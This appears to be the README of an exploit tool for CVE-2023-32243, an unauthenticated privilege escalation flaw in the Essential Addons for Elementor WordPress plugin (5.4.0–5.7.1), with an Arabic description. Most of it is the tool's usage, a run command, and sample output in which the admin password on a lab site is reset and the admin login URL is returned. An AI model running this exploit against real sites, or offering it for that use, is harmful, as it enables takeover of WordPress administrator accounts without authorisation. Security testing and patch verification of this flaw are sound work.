
CVE-2023-32243 - الإضافات الأساسية لـ Elementor 5.4.0-5.7.1 - تصعيد صلاحيات بدون مصادقة
إضافات أساسية لـ Elementor 5.4.0-5.7.1 - تصعيد الامتيازات غير المصادق عليه
المكون الإضافي لا يتحقق من مفتاح إعادة تعيين كلمة المرور، مما قد يسمح للمهاجمين غير المصادق عليهم بإعادة تعيين كلمة مرور أي حساب إلى أي شيء يريدونه، عن طريق معرفة البريد الإلكتروني أو اسم المستخدم المرتبط، والحصول على الوصول إليه.
pip install -r requirements.txt
usage: exploit.py [-h] -u URL -p PASSWORD [-usr USERNAME]
options:
-h, --help show this help message and exit
-u URL, --url URL URL of the WordPress site
-p PASSWORD, --password PASSWORD
Password to set for the selected username
-usr USERNAME, --username USERNAME
Username of the user to reset if you already know it.
python3 exploit.py --url http://wordpress.lan --password "adminadmin2"
Please select a username:
1. admin
> 1
Nonce value: f010bc2ac9
All Set! You can now login using the following credentials:
Username: admin
Password: adminadmin2
Admin Url: http://wordpress.lan/wp-admin/